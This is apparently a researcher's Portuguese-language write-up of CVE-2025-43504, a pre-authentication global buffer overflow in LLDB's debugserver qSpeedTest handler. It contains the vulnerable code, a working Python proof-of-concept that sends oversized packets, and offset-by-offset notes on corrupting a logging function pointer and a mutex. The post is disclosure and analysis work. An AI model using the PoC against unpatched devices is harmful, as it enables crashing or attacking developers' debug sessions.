
Aprofundamento técnico sobre CVE-2025-43504, um estouro de buffer global remoto (sem autenticação prévia) no debugserver do LLDB para iOS, com código PoC e análise de exploração.
Quando eu crescia, sempre gostava de vasculhar as lixeiras de DVD no meu Walmart local. Notei que muitos dos mesmos filmes eram deixados em cima, mas se você realmente cavasse, encontraria títulos mais interessantes e de nicho.
Quando um programa estoura um buffer, você está essencialmente alcançando sua lixeira de pechinchas. Dependendo de quão longe você alcança, os DVDs - ou neste caso, as estruturas sobrescritas na memória - podem mudar.
A /bin de pechincha de hoje é CVE-2025-43504: Um estouro de buffer global de pré-autenticação remota que encontrei no debugserver do LLDB.
Durante o desenvolvimento de aplicativos, os desenvolvedores frequentemente precisam depurar seu aplicativo em um dispositivo iOS físico. Para conseguir isso, o Xcode monta uma Imagem de Disco de Desenvolvedor no iPhone alvo e então emparelha com ele.
Uma vez emparelhado, o host macOS pode se comunicar com o cliente iOS usando o debugserver instalado no cliente. Agora, qualquer cliente que possa estabelecer uma sessão GDB remota com o do dispositivo pode alcançar o manipulador e estourar o buffer vulnerável.
debugserverqSpeedTestVamos dar uma olhada na página de lançamento de segurança do Xcode 26.1 para entender melhor como a Apple categorizou o CVE-2025-43504:

Devido às mitigações de software modernas, a Apple considera os estouros de buffer principalmente como um problema de negação de serviço, em vez de uma primitiva de corrupção. Como exploraremos hoje, isso geralmente é verdade, pois um invasor precisará superar vários obstáculos e provavelmente combinar esse problema com outro bug para conseguir execução arbitrária de código.
Se você quiser experimentar uma versão sem correção do debugserver, use o seguinte commit ou qualquer commit anterior a ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de:
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c
Antes da correção em RNBRemote.cpp, qualquer usuário remoto que pudesse se conectar ao debugserver de um dispositivo iOS poderia enviar um pacote qSpeedTest de pré-autenticação para RNBRemote::HandlePacket_qSpeedTest e corromper estruturas adjacentes no segmento de dados globais do debugserver.
No entanto, há uma ressalva importante: controlamos apenas o tamanho da corrupção. O conteúdo do payload é fixo em um fluxo de caracteres 'a'. Embora os alunos possam gostar das notas consistentemente altas, a utilidade prática desse estouro é bastante limitada pelo fato de não podermos controlar os bytes reais que estão sendo escritos - apenas o quão longe a enxurrada de 'a's vai.
Agora, vamos dar uma olhada nos bastidores de RNBRemote::HandlePacket_qSpeedTest para ver exatamente o que está acontecendo:
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
// We control the length of response_size
uint64_t response_size = ::strtoul(p, &end, 16);
if (errno != 0)
return HandlePacket_ILLFORMED(
__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
// The overflow of g_data by a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
return SendPacket(g_data);
} else {
return SendErrorPacket("E79");
}
}
A função de RNBRemote::HandlePacket_qSpeedTest() é processar pacotes qSpeedTest:response_size:<hex>; recebidos sem exigir autenticação de um usuário remoto que possa se comunicar com o binário debugserver do dispositivo iOS.
No entanto, uma vez que um usuário remoto é capaz de enviar um pacote qSpeedTest:response_size:<hex>; para debugserver, nenhuma verificação de autenticação ocorre dentro do debugserver antes de processar o response_size fornecido pelo usuário. Portanto, qualquer usuário que possa se comunicar com um dispositivo iOS montado com uma Imagem de Disco de Desenvolvedor é capaz de estourar o debugserver através de um pacote qSpeedTest:response_size:<hex>;.
Agora que chegamos à função vulnerável RNBRemote::HandlePacket_qSpeedTest(), vamos examinar exatamente como o estouro ocorre. Primeiro, o tamanho <hex> fornecido pelo usuário no pacote qSpeedTest:response_size:<hex>; é extraído e armazenado na variável response_size:
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);
Se o parsing for bem-sucedido e o próximo caractere for um ponto e vírgula, um buffer estático local à função de 4 MiB + 16 bytes g_data é inicializado e preenchido com o cabeçalho ASCII "data:":
if (errno != 0)
return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
Juntando tudo, memset então preenche o buffer estático de 4 MiB + 16 bytes g_data com 'a' usando o valor response_size controlado pelo usuário como o número de 'a's a serem usados.
// The overflow of g_data by 'a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
Portanto, sempre que um cliente LLDB remoto envia um pacote qSpeedTest:response_size:<hex>; com um response_size maior que o buffer de 4 MiB + 16 bytes, ocorre um estouro de buffer e corrompe variáveis globais adjacentes armazenadas no segmento de dados globais (.bss) do debugserver.
Agora que entendemos a arquitetura por trás do estouro, vamos mergulhar na mecânica real da vulnerabilidade. Para começar, vamos usar o seguinte programa Python para explorar as primitivas de corrupção obtidas através do estouro de g_data:
import argparse, socket
def frame(payload: bytes) -> bytes:
return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))
def send_one(host: str, port: int, resp_hex: str):
payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
pkt = frame(payload)
s = socket.create_connection((host, port), timeout=5.0)
s.settimeout(1.5)
try:
# send the oversized qSpeedTest
s.sendall(pkt)
try:
_ = s.recv(1) # ACK (best effort)
except Exception:
pass
# Optional tiny nudge to exercise pointer use
try:
s.sendall(frame(b"?"))
_ = s.recv(1)
except Exception:
pass
finally:
try: s.close()
except Exception: pass
def main():
ap = argparse.ArgumentParser(description="Send a single qSpeedTest packet with chosen response_size")
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=1234)
ap.add_argument("--size", required=True,
help="Hex string for response_size (no 0x prefix), e.g. 40100a or 500000")
args = ap.parse_args()
print(f"[i] Sending qSpeedTest:response_size:0x{args.size} to {args.host}:{args.port}")
send_one(args.host, args.port, args.size)
print("[i] Done. If debugserver crashed, check the log for SIGSEGV/SIGBUS and fault address.")
if __name__ == "__main__":
main()
Após lançar o debugserver, executamos o seguinte comando python3 e fornecemos o response_size de 4004AB:
python3 poc.py --host 127.0.0.1 --port 1234 --size 4004AB
Notamos que o debugserver não trava e retorna normalmente:

Embora estejamos tecnicamente fora dos limites, g_data é terminado com um byte \0, então o ponteiro de função de registro vizinho g_log_callback é apenas sobrescrito por um byte NULL, mantendo o ponteiro inteiro NULL.
Após lançar o debugserver, executamos o seguinte comando python3 e fornecemos o response_size de 0x4004AC:
python3 poc.py --host 127.0.0.1 --port 1234 --size 0x4004AC
Great Scott!

Ao fornecer um byte adicional, ultrapassamos a cauda NULL e acabamos desreferenciando o ponteiro vizinho g_log_callback com um valor de 0x61, resultando em uma falha. Agora, vamos incrementar continuamente nosso parâmetro --size em um e ver o que acontece:

Como podemos ver, agora controlamos o valor de g_log_callback. Bem, parcialmente, na verdade controlamos apenas quantos bytes em g_log_callback seriam iguais a 0x61.
Podemos ver isso ocorrer em _DNBLogVAPrintf:
static inline void _DNBLogVAPrintf(uint32_t flags, const char *format,
va_list args) {
static std::recursive_mutex g_LogThreadedMutex;
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);
if (g_log_callback)
g_log_callback(g_log_baton, flags, format, args);
}
Como g_log_callback não é NULL, o mutex é bloqueado e prossegue para chamar nosso ponteiro corrompido e trava. Agora, após um response_size de 0x4004B3, paramos de ver qualquer mudança real no endereço de falha ou no stack trace correspondente até que um offset de 0x7F seja adicionado ao response_size. Logicamente, isso faz sentido, porque uma vez que o ponteiro g_log_callback é corrompido, qualquer corrupção subsequente em outras estruturas de registro se torna irrelevante devido à falha inicial ao desreferenciar g_log_callback.
Curiosamente, em uma versão de produção do macOS anterior à correção, consegui usar esse controle parcial de ponteiro para sobrescrever vários ponteiros de espaço do usuário na memória:
0x0000000105006169
0x0000000103006169
0x0000000a0a006169
0x00000009d8006169
0x0000000103006169
0x0000000734006169
0x0000000100006169
Por algum motivo, o byte final de cada endereço era sempre incrementado em 0x8 bytes. No entanto, se fôssemos capazes de resolver o problema de alinhamento criado pelos bytes terminais 0x6169, e de alguma forma fôssemos capazes de prever e controlar os dados desreferenciados pelo ponteiro sobrescrito, teoricamente seríamos capazes de redirecionar o fluxo de controle e eventualmente obter execução de código.
Discutimos brevemente o bloqueio do mutex antes de desreferenciar o ponteiro corrompido g_log_callback. Agora, no response_size de 0x40052C, o próprio mutex se torna corrompido:

Notamos que o problema apareceu quando _DNBLogVAPrintf executou a construção lock_guard:
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);
Com base no stack trace, vemos que lock_guard falha quando __m_.lock é chamado:
31│ _LIBCPP_HIDE_FROM_ABI explicit lock_guard(mutex_type& __m) _LIBCPP_THREAD_SAFETY_ANNOTATION(acquire_capability(__m))
32│ : __m_(__m) {
33│ __m_.lock();
│ ▲
34│ }
35│
Examinando mais, vamos dar uma olhada na definição da função std::recursive_mutex:
void recursive_mutex::lock() {
int ec = __libcpp_recursive_mutex_lock(&__m_);
if (ec)
std::__throw_system_error(ec, "recursive_mutex lock failed");
}
Parece ser um wrapper para __libcpp_recursive_mutex_lock:
inline _LIBCPP_HIDE_FROM_ABI _LIBCPP_NO_THREAD_SAFETY_ANALYSIS int
__libcpp_recursive_mutex_lock(__libcpp_recursive_mutex_t* __m) {
return pthread_mutex_lock(__m);
}
Que por sua vez parece ser um wrapper para pthread_mutex_lock:
PTHREAD_NOEXPORT_VARIANT
int
pthread_mutex_lock(pthread_mutex_t *mutex)
{
return _pthread_mutex_lock(mutex, false);
}
Que é outro wrapper para _pthread_mutex_lock)... Mas não precisamos ir tão longe.
Porque o ponteiro pthread_mutex_t é corrompido pelo nosso estouro, pthread_mutex_lock lança std::system_error("recursive_mutex lock failed") e o programa então lança um abort() e termina.
Devido ao abort do programa, a exploração do response_size entre 0x40052C e 0x402C62 é significativamente mais desafiadora, pois estamos corrompendo uma primitiva de sincronização, dadas as verificações adicionais realizadas pelo macOS.
Agora, quando usamos um response_size de 0x402C63 ou maior, a CPU falha em RNBRemote::HandlePacket_qSpeedTest assim que memset ultrapassa o limite para qualquer página de guarda ou região não mapeada que o kernel colocou após o segmento .bss na memória:

Esta variante final de estouro não é tão interessante, pois não há uma maneira direta de controlar a execução do programa.
Agora que cobrimos o problema em si, vamos examinar como a Apple corrigiu:

De acordo com a descrição da correção,
Altere esta alocação para ser na heap e imponha um tamanho máximo que possa ser testado (4MB, por enquanto).
Vemos duas mudanças principais:
.bss) do debugserverDado o extenso ecossistema de código fechado por trás do software e sistemas da Apple, é sempre um desafio descobrir e entender defeitos de software de forma confiável.
No entanto, sempre existem dependências de código aberto nas quais a Apple confia, e se você encontrar um problema em uma delas, há chances de que efeitos possam ser sentidos a jusante.
Boa sorte na caça e não se esqueça de divulgar responsavelmente quaisquer problemas que encontrar 😉